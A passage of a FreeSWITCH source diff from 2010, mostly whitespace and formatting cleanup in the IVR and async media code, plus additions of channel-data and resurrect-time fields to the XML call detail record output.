@@ -156,24 +156,24 @@
if (ms > 100 && (var = switch_channel_get_variable(channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE)) && (sval = atoi(var))) {
switch_core_session_get_read_impl(session, &imp);
-
+
if (switch_core_codec_init(&codec,
"L16",
NULL,
imp.samples_per_second,
imp.microseconds_per_packet / 1000,
- imp.number_of_channels,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+ imp.number_of_channels,
+ SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
return SWITCH_STATUS_FALSE;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
-
+
write_frame.codec = &codec;
switch_zmalloc(abuf, SWITCH_RECOMMENDED_BUFFER_SIZE);
write_frame.data = abuf;
@@ -195,7 +195,7 @@
if (sync) {
switch_channel_audio_sync(channel);
}
-
+
if (!ms) {
return SWITCH_STATUS_SUCCESS;
}
@@ -209,7 +209,7 @@
status = SWITCH_STATUS_FALSE;
break;
}
-
+
if (switch_channel_test_flag(channel, CF_BREAK)) {
switch_channel_clear_flag(channel, CF_BREAK);
status = SWITCH_STATUS_BREAK;
@@ -219,14 +219,14 @@
if (now > done || left <= 0) {
break;
}
-
+
switch_ivr_parse_all_events(session);
if (args && (args->input_callback || args->buf || args->buflen)) {
switch_dtmf_t dtmf;
-
+
/*
dtmf handler function you can hook up to be executed when a digit is dialed during playback
if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
@@ -244,7 +244,7 @@
status = SWITCH_STATUS_BREAK;
}
}
-
+
if (args->input_callback) {
switch_event_t *event = NULL;
@@ -272,7 +272,7 @@
switch_core_session_write_frame(session, &cng_frame, SWITCH_IO_FLAG_NONE, 0);
}
}
-
+
if (write_frame.codec) {
switch_core_codec_destroy(&codec);
}
@@ -569,7 +569,7 @@
switch_core_session_rwunlock(b_session);
}
}
-
+
switch_channel_clear_flag(channel, CF_BROADCAST);
}
} else if (cmd_hash == CMD_UNICAST) {
@@ -647,7 +647,7 @@
{
switch_core_session_message_t *message;
int i = 0;
-
+
while (switch_core_session_dequeue_message(session, &message) == SWITCH_STATUS_SUCCESS) {
i++;
switch_core_session_receive_message(session, message);
@@ -664,7 +664,8 @@
switch_ivr_parse_all_messages(session);
- while (switch_ivr_parse_next_event(session) == SWITCH_STATUS_SUCCESS) x++;
+ while (switch_ivr_parse_next_event(session) == SWITCH_STATUS_SUCCESS)
+ x++;
if (x) {
switch_ivr_sleep(session, 0, SWITCH_TRUE, NULL);
@@ -687,9 +688,9 @@
const char *to;
int timeout = 0;
time_t expires = 0;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
-
+
if (switch_channel_test_flag(channel, CF_CONTROLLED)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot park channels that are under control already.\n");
return SWITCH_STATUS_FALSE;
@@ -698,7 +699,7 @@
if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_get_state(channel) == CS_RESET) {
return SWITCH_STATUS_FALSE;
}
-
+
if ((to = switch_channel_get_variable(channel, "park_timeout"))) {
if ((timeout = atoi(to)) < 0) {
timeout = 0;
@@ -718,13 +719,13 @@
}
while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_CONTROLLED) && switch_channel_test_flag(channel, CF_PARK)) {
-
+
if (!rate && switch_channel_media_ready(channel)) {
switch_core_session_get_read_impl(session, &read_impl);
rate = read_impl.actual_samples_per_second;
bpf = read_impl.decoded_bytes_per_packet;
}
-
+
if (rate) {
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, stream_id);
} else {
@@ -782,8 +783,7 @@
tstatus = switch_core_codec_decode(read_codec,
&conninfo->read_codec,
read_frame->data,
- read_frame->datalen,
- read_impl.actual_samples_per_second, decoded, &dlen, &rate, &flags);
+ read_frame->datalen, read_impl.actual_samples_per_second, decoded, &dlen, &rate, &flags);
}
switch (tstatus) {
case SWITCH_STATUS_NOOP:
@@ -855,7 +855,8 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout, uint32_t abs_timeout)
+SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout,
+ uint32_t abs_timeout)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_SUCCESS;
@@ -954,31 +955,31 @@
uint32_t eff_timeout = 0;
switch_frame_t write_frame = { 0 };
unsigned char *abuf = NULL;
- switch_codec_implementation_t imp = {0};
+ switch_codec_implementation_t imp = { 0 };
switch_codec_t codec = { 0 };
int sval = 0;
const char *var;
if ((var = switch_channel_get_variable(channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE)) && (sval = atoi(var))) {
switch_core_session_get_read_impl(session, &imp);
-
+
if (switch_core_codec_init(&codec,
"L16",
NULL,
imp.samples_per_second,
imp.microseconds_per_packet / 1000,
- imp.number_of_channels,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+ imp.number_of_channels,
+ SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
return SWITCH_STATUS_FALSE;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
-
+
write_frame.codec = &codec;
switch_zmalloc(abuf, SWITCH_RECOMMENDED_BUFFER_SIZE);
write_frame.data = abuf;
@@ -1033,7 +1034,7 @@
switch_ivr_parse_all_events(session);
-
+
if (eff_timeout) {
digit_elapsed = (uint32_t) ((switch_micro_time_now() - digit_started) / 1000);
@@ -1046,7 +1047,7 @@
if (switch_channel_has_dtmf(channel)) {
switch_dtmf_t dtmf = { 0 };
switch_size_t y;
-
+
if (eff_timeout) {
eff_timeout = digit_timeout;
digit_started = switch_micro_time_now();
@@ -1065,7 +1066,7 @@
buf[x++] = dtmf.digit;
buf[x] = '\0';
-
+
if (x >= buflen || x >= maxdigits) {
return SWITCH_STATUS_SUCCESS;
}
@@ -1084,7 +1085,7 @@
switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.samples, sval);
switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0);
}
-
+
}
}
@@ -1265,7 +1266,7 @@
switch_channel_set_flag(channel, CF_REDIRECT);
switch_channel_set_flag(channel, CF_RESET);
-
+
if ((flags & SMF_FORCE) || !switch_channel_test_flag(channel, CF_PROXY_MODE)) {
if ((flags & SMF_REBRIDGE) && (other_uuid = switch_channel_get_variable(channel, SWITCH_BRIDGE_VARIABLE)) &&
(other_session = switch_core_session_locate(other_uuid))) {
@@ -1280,7 +1281,7 @@
switch_channel_wait_for_flag(other_channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
switch_channel_wait_for_flag(other_channel, CF_MEDIA_SET, SWITCH_TRUE, 10000, NULL);
}
-
+
switch_core_session_receive_message(session, &msg);
if (!switch_core_session_in_thread(session)) {
@@ -1290,7 +1291,7 @@
switch_channel_wait_for_flag(channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
switch_channel_wait_for_flag(channel, CF_MEDIA_SET, SWITCH_TRUE, 10000, NULL);
}
-
+
if (other_channel) {
if (swap) {
switch_ivr_signal_bridge(other_session, session);
@@ -1344,7 +1345,7 @@
if ((profile = switch_channel_get_caller_profile(channel))) {
const char *var;
-
+
if (zstr(dialplan)) {
dialplan = profile->dialplan;
if (!zstr(dialplan) && !strcasecmp(dialplan, "inline")) {
@@ -1375,7 +1376,7 @@
if ((var = switch_channel_get_variable(channel, "force_transfer_context"))) {
context = var;
}
-
+
new_profile = switch_caller_profile_clone(session, profile);
new_profile->dialplan = switch_core_strdup(new_profile->pool, dialplan);
@@ -1428,8 +1429,8 @@
msg.from = __FILE__;
switch_core_session_receive_message(session, &msg);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Transfer %s to %s[%s@%s]\n", switch_channel_get_name(channel), dialplan, extension,
- context);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Transfer %s to %s[%s@%s]\n", switch_channel_get_name(channel), dialplan,
+ extension, context);
return SWITCH_STATUS_SUCCESS;
}
@@ -1487,7 +1488,7 @@
switch_time_t last_digit_time;
};
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t **parser)
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t ** parser)
{
switch_status_t status = SWITCH_STATUS_FALSE;
@@ -1545,7 +1546,7 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t **stream)
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t ** stream)
{
switch_status_t status = SWITCH_STATUS_FALSE;
@@ -1561,7 +1562,7 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream)
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t ** stream)
{
switch_status_t status = SWITCH_STATUS_FALSE;
@@ -1680,8 +1681,8 @@
*stream->digits = '\0';
}
}
-
+
return result;
}
@@ -1816,19 +1817,49 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_caller_profile_t *caller_profile;
switch_xml_t variables, cdr, x_main_cp, x_caller_profile, x_caller_extension, x_times, time_tag,
- x_application, x_callflow, x_inner_extension, x_apps, x_o;
+ x_application, x_callflow, x_inner_extension, x_apps, x_o, x_channel_data, x_field;
switch_app_log_t *app_log;
- char tmp[512];
- int cdr_off = 0, v_off = 0;
+ char tmp[512], *f;
+ int cdr_off = 0, v_off = 0, cd_off = 0;
if (!(cdr = switch_xml_new("cdr"))) {
return SWITCH_STATUS_SUCCESS;
}
+ if (!(x_channel_data = switch_xml_add_child_d(cdr, "channel_data", cdr_off++))) {
+ goto error;
+ }
+
+ x_field = switch_xml_add_child_d(x_channel_data, "state", cd_off++);
+ switch_xml_set_txt_d(x_field, switch_channel_state_name(switch_channel_get_state(channel)));
+
+ x_field = switch_xml_add_child_d(x_channel_data, "direction", cd_off++);
+ switch_xml_set_txt_d(x_field, switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
+
+ x_field = switch_xml_add_child_d(x_channel_data, "state_number", cd_off++);
+ switch_snprintf(tmp, sizeof(tmp), "%d", switch_channel_get_state(channel));
+ switch_xml_set_txt_d(x_field, tmp);
+
+ if ((f = switch_channel_get_flag_string(channel))) {
+ x_field = switch_xml_add_child_d(x_channel_data, "flags", cd_off++);
+ switch_xml_set_txt_d(x_field, f);
+ free(f);
+ }
+
+ if ((f = switch_channel_get_cap_string(channel))) {
+ x_field = switch_xml_add_child_d(x_channel_data, "caps", cd_off++);
+ switch_xml_set_txt_d(x_field, f);
+ free(f);
+ }
+
+
if (!(variables = switch_xml_add_child_d(cdr, "variables", cdr_off++))) {
goto error;
}
+ switch_ivr_set_xml_chan_vars(variables, channel, v_off);
+
+
if ((app_log = switch_core_session_get_app_log(session))) {
int app_off = 0;
switch_app_log_t *ap;
@@ -1847,7 +1878,6 @@
}
}
- switch_ivr_set_xml_chan_vars(variables, channel, v_off);
caller_profile = switch_channel_get_caller_profile(channel);
@@ -1894,18 +1924,17 @@
if (caller_profile->caller_extension->children) {
switch_caller_profile_t *cp = NULL;
- int i_off = 0;
+ int i_off = 0, i_app_off = 0;
for (cp = caller_profile->caller_extension->children; cp; cp = cp->next) {
- app_off = 0;
if (!cp->caller_extension) {
continue;
}
- if (!(x_inner_extension = switch_xml_add_child_d(x_caller_extension, "sub_extensions", i_off++))) {
+ if (!(x_inner_extension = switch_xml_add_child_d(x_caller_extension, "sub_extensions", app_off++))) {
goto error;
}
- if (!(x_caller_extension = switch_xml_add_child_d(x_inner_extension, "extension", cf_off++))) {
+ if (!(x_caller_extension = switch_xml_add_child_d(x_inner_extension, "extension", i_off++))) {
goto error;
}
switch_xml_set_attr_d(x_caller_extension, "name", cp->caller_extension->extension_name);
@@ -1916,7 +1945,7 @@
}
for (ap = cp->caller_extension->applications; ap; ap = ap->next) {
- if (!(x_application = switch_xml_add_child_d(x_caller_extension, "application", app_off++))) {
+ if (!(x_application = switch_xml_add_child_d(x_caller_extension, "application", i_app_off++))) {
goto error;
}
if (ap == cp->caller_extension->current_application) {
@@ -2006,6 +2035,12 @@
switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->hungup);
switch_xml_set_txt_d(time_tag, tmp);
+ if (!(time_tag = switch_xml_add_child_d(x_times, "resurrect_time", t_off++))) {
+ goto error;
+ }
+ switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->resurrected);
+ switch_xml_set_txt_d(time_tag, tmp);
+
if (!(time_tag = switch_xml_add_child_d(x_times, "transfer_time", t_off++))) {
goto error;
}
@@ -2034,7 +2069,7 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_channel_set_state(channel, CS_PARK);
switch_channel_set_flag(channel, CF_TRANSFER);
-
+
}
SWITCH_DECLARE(void) switch_ivr_delay_echo(switch_core_session_t *session, uint32_t delay_ms)
@@ -2047,8 +2082,8 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
uint32_t interval, samples;
uint32_t ts = 0;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
if (delay_ms < 1 || delay_ms > 10000) {
@@ -2097,7 +2132,7 @@
switch_event_t *hint_data;
switch_xml_t cfg, xml = NULL, language, macros;
-
+
switch_assert(session);
channel = switch_core_session_get_channel(session);
switch_assert(channel);
@@ -2171,7 +2206,7 @@
status = SWITCH_STATUS_FALSE;
}
- done:
+ done:
if (hint_data) {
switch_event_destroy(&hint_data);
@@ -2184,7 +2219,7 @@
if (xml) {
switch_xml_free(xml);
}
-
+
return status;
}
@@ -2194,18 +2229,18 @@
if (!buffer) {
/*
- if buffer is null then it just returns the str without the prefix appended, otherwise buffer contains the prefix followed by the original string
- */
+ if buffer is null then it just returns the str without the prefix appended, otherwise buffer contains the prefix followed by the original string
+ */
return str;
}
str_len = strlen(str);
memcpy(buffer, prefix, prefix_size);
-
+
if (str_len + prefix_size + 1 > buffer_size) {
- memcpy(buffer + prefix_size, str, buffer_size-prefix_size - 1);
- buffer[buffer_size-prefix_size - 1] = '\0';
+ memcpy(buffer + prefix_size, str, buffer_size - prefix_size - 1);
+ buffer[buffer_size - prefix_size - 1] = '\0';
} else {
memcpy(buffer + prefix_size, str, str_len + 1);
}
@@ -2220,16 +2255,16 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_FALSE;
- char * prefix_buffer = NULL, *prefix;
- size_t buffer_size =0;
- size_t prefix_size=0;
+ char *prefix_buffer = NULL, *prefix;
+ size_t buffer_size = 0;
+ size_t prefix_size = 0;
if (zstr(data)) {
goto error;
}
user = switch_core_session_strdup(session, data);
-
- if ((prefix = strchr(user, ' '))){
+
+ if ((prefix = strchr(user, ' '))) {
*prefix++ = 0;
}
@@ -2289,8 +2324,8 @@
}
}
- switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer,buffer_size,prefix,prefix_size,"user_name") , user);
- switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer,buffer_size,prefix,prefix_size,"domain_name") , domain);
+ switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer, buffer_size, prefix, prefix_size, "user_name"), user);
+ switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer, buffer_size, prefix, prefix_size, "domain_name"), domain);
goto done;
Modified: freeswitch/trunk/src/switch_ivr_async.c (16578 => 16579)
--- freeswitch/trunk/src/switch_ivr_async.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_async.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -83,7 +83,6 @@
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
return;
}
-
#ifdef SWITCH_VIDEO_IN_THREADS
if (switch_channel_test_flag(channel, CF_VIDEO)) {
eh.session = session;
@@ -104,7 +103,7 @@
if (args && (args->input_callback || args->buf || args->buflen)) {
switch_dtmf_t dtmf;
-
+
/*
dtmf handler function you can hook up to be executed when a digit is dialed during playback
if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
@@ -122,7 +121,7 @@
status = SWITCH_STATUS_BREAK;
}
}
-
+
if (args->input_callback) {
switch_event_t *event = NULL;
@@ -355,8 +354,8 @@
switch_status_t status;
time_t to = 0;
displace_helper_t *dh;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
@@ -385,8 +384,7 @@
if (switch_core_file_open(&dh->fh,
file,
read_impl.number_of_channels,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
return SWITCH_STATUS_GENERR;
@@ -447,12 +445,12 @@
break;
case SWITCH_ABC_TYPE_CLOSE:
{
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(session, &read_impl);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Stop recording file %s\n", rh->file);
switch_channel_set_private(channel, rh->file, NULL);
-
+
if (switch_event_create(&event, SWITCH_EVENT_RECORD_STOP) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Record-File-Path", rh->file);
@@ -463,16 +461,17 @@
switch_size_t len;
uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
switch_frame_t frame = { 0 };
-
+
frame.data = data;
frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
-
+
while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
len = (switch_size_t) frame.datalen / 2;
- if (len) switch_core_file_write(rh->fh, data, &len);
+ if (len)
+ switch_core_file_write(rh->fh, data, &len);
}
-
+
switch_core_file_close(rh->fh);
if (rh->fh->samples_out < rh->fh->samplerate * rh->min_sec) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Discarding short file %s\n", rh->file);
@@ -483,7 +482,7 @@
break;
case SWITCH_ABC_TYPE_READ:
-
+
if (rh->fh) {
switch_size_t len;
uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
@@ -491,10 +490,11 @@
frame.data = data;
frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
-
+
while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
len = (switch_size_t) frame.datalen / 2;
- if (len) switch_core_file_write(rh->fh, data, &len);
+ if (len)
+ switch_core_file_write(rh->fh, data, &len);
}
}
@@ -536,7 +536,7 @@
struct eavesdrop_pvt *ep = (struct eavesdrop_pvt *) user_data;
uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
switch_frame_t frame = { 0 };
-
+
frame.data = data;
frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
@@ -548,7 +548,7 @@
case SWITCH_ABC_TYPE_WRITE:
break;
case SWITCH_ABC_TYPE_READ_PING:
- if (ep->buffer) {
+ if (ep->buffer) {
if (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
switch_buffer_lock(ep->buffer);
switch_buffer_zwrite(ep->buffer, frame.data, frame.datalen);
@@ -627,9 +627,10 @@
uint32_t tlen;
const char *macro_name = "eavesdrop_announce";
const char *id_name = NULL;
- switch_codec_implementation_t tread_impl = {0}, read_impl = {0};
+ switch_codec_implementation_t tread_impl = { 0 }, read_impl = {
+ 0};
switch_core_session_message_t msg = { 0 };
-
+
if (!switch_channel_media_ready(channel)) {
goto end;
}
@@ -665,8 +666,8 @@
}
/* Separate the group */
data = strdup(group_name);
- if ( (argc = switch_separate_string(data, ',', argv, (sizeof(argv) / sizeof(argv[0])))) ) {
- for ( i = 0; i < argc; i++ ) {
+ if ((argc = switch_separate_string(data, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+ for (i = 0; i < argc; i++) {
/* If one of the group matches, then ok */
if (argv[i] && !strcmp(argv[i], require_group)) {
ok = 1;
@@ -675,7 +676,7 @@
}
switch_safe_free(data);
/* If we didn't find any match, then end */
- if ( !ok ) {
+ if (!ok) {
status = SWITCH_STATUS_BREAK;
goto end;
}
@@ -736,12 +737,12 @@
msg.from = __FILE__;
-
+
/* Tell the channel we are going to be in a bridge */
msg.message_id = SWITCH_MESSAGE_INDICATE_BRIDGE;
switch_core_session_receive_message(session, &msg);
-
+
while (switch_channel_ready(tchannel) && switch_channel_ready(channel)) {
uint32_t len = sizeof(buf);
switch_event_t *event = NULL;
@@ -805,7 +806,7 @@
switch_buffer_zero(ep->r_buffer);
switch_buffer_unlock(ep->r_buffer);
}
-
+
if (ep->w_buffer) {
switch_buffer_lock(ep->w_buffer);
switch_buffer_zero(ep->w_buffer);
@@ -844,7 +845,7 @@
}
- end_loop:
+ end_loop:
/* Tell the channel we are no longer going to be in a bridge */
msg.message_id = SWITCH_MESSAGE_INDICATE_UNBRIDGE;
@@ -854,7 +855,7 @@
end:
- if ( codec_initialized )
+ if (codec_initialized)
switch_core_codec_destroy(&codec);
if (bug) {
@@ -894,10 +895,10 @@
time_t to = 0;
switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
uint8_t channels;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
struct record_helper *rh = NULL;
int file_flags = SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT;
-
+
switch_core_session_get_read_impl(session, &read_impl);
if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
@@ -910,7 +911,7 @@
}
channels = read_impl.number_of_channels;
-
+
if ((bug = switch_channel_get_private(channel, file))) {
return switch_ivr_stop_record_session(session, file);
}
@@ -929,13 +930,13 @@
if ((p = switch_channel_get_variable(channel, "RECORD_READ_ONLY")) && switch_true(p)) {
flags &= ~SMBF_WRITE_STREAM;
flags |= SMBF_READ_STREAM;
- }
+ }
if ((p = switch_channel_get_variable(channel, "RECORD_STEREO")) && switch_true(p)) {
flags |= SMBF_STEREO;
channels = 2;
}
-
+
if ((p = switch_channel_get_variable(channel, "RECORD_ANSWER_REQ")) && switch_true(p)) {
flags |= SMBF_ANSWER_REQ;
}
@@ -964,7 +965,7 @@
fh->pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
-
+
if (!switch_is_file_path(file)) {
char *tfile = NULL;
char *e;
@@ -985,15 +986,11 @@
tfile = NULL;
}
}
-
+
file = switch_core_session_sprintf(session, "%s%s%s%s%s", switch_str_nil(tfile), tfile ? "]" : "", prefix, SWITCH_PATH_SEPARATOR, file);
}
-
- if (switch_core_file_open(fh,
- file,
- channels,
- read_impl.actual_samples_per_second,
- file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
+
+ if (switch_core_file_open(fh, file, channels, read_impl.actual_samples_per_second, file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error opening %s\n", file);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
@@ -1046,7 +1043,7 @@
rh->packet_len = read_impl.decoded_bytes_per_packet;
rh->min_sec = 3;
-
+
if ((p = switch_channel_get_variable(channel, "RECORD_MIN_SEC"))) {
int tmp = atoi(p);
if (tmp >= 0) {
@@ -1054,7 +1051,7 @@
}
}
-
+
if ((status = switch_core_media_bug_add(session, record_callback, rh, to, flags, &bug)) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error adding media bug for file %s\n", file);
switch_core_file_close(fh);
@@ -1066,7 +1063,7 @@
return SWITCH_STATUS_SUCCESS;
}
-typedef struct {
+typedef struct {
SpeexPreprocessState *read_st;
SpeexPreprocessState *write_st;
SpeexEchoState *read_ec;
@@ -1085,12 +1082,12 @@
switch_core_session_t *session = switch_core_media_bug_get_session(bug);
switch_channel_t *channel = switch_core_session_get_channel(session);
pp_cb_t *cb = (pp_cb_t *) user_data;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_frame_t *frame = NULL;
int y;
- switch_core_session_get_read_impl(session, &read_impl);
-
+ switch_core_session_get_read_impl(session, &read_impl);
+
switch (type) {
case SWITCH_ABC_TYPE_INIT:
{
@@ -1121,17 +1118,18 @@
break;
case SWITCH_ABC_TYPE_READ_REPLACE:
{
- if (cb->done) return SWITCH_FALSE;
+ if (cb->done)
+ return SWITCH_FALSE;
frame = switch_core_media_bug_get_read_replace_frame(bug);
if (cb->read_st) {
if (cb->read_ec) {
- speex_echo_cancellation(cb->read_ec, (int16_t *)frame->data, (int16_t *)cb->write_data, (int16_t *)cb->read_out);
+ speex_echo_cancellation(cb->read_ec, (int16_t *) frame->data, (int16_t *) cb->write_data, (int16_t *) cb->read_out);
memcpy(frame->data, cb->read_out, frame->datalen);
}
- y = speex_preprocess_run(cb->read_st, frame->data);
+ y = speex_preprocess_run(cb->read_st, frame->data);
}
if (cb->write_ec) {
@@ -1141,16 +1139,17 @@
break;
case SWITCH_ABC_TYPE_WRITE_REPLACE:
{
- if (cb->done) return SWITCH_FALSE;
+ if (cb->done)
+ return SWITCH_FALSE;
frame = switch_core_media_bug_get_write_replace_frame(bug);
if (cb->write_st) {
if (cb->write_ec) {
- speex_echo_cancellation(cb->write_ec, (int16_t *)frame->data, (int16_t *)cb->read_data, (int16_t *)cb->write_out);
+ speex_echo_cancellation(cb->write_ec, (int16_t *) frame->data, (int16_t *) cb->read_data, (int16_t *) cb->write_out);
memcpy(frame->data, cb->write_out, frame->datalen);
}
-
+
y = speex_preprocess_run(cb->write_st, frame->data);
}
@@ -1173,19 +1172,19 @@
switch_status_t status;
time_t to = 0;
switch_media_bug_flag_t flags = 0;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
pp_cb_t *cb;
int update = 0;
int argc;
char *mydata = NULL, *argv[5];
int i = 0;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if ((cb = switch_channel_get_private(channel, "_preprocess"))) {
update = 1;
} else {
- cb = switch_core_session_alloc(session, sizeof(*cb));
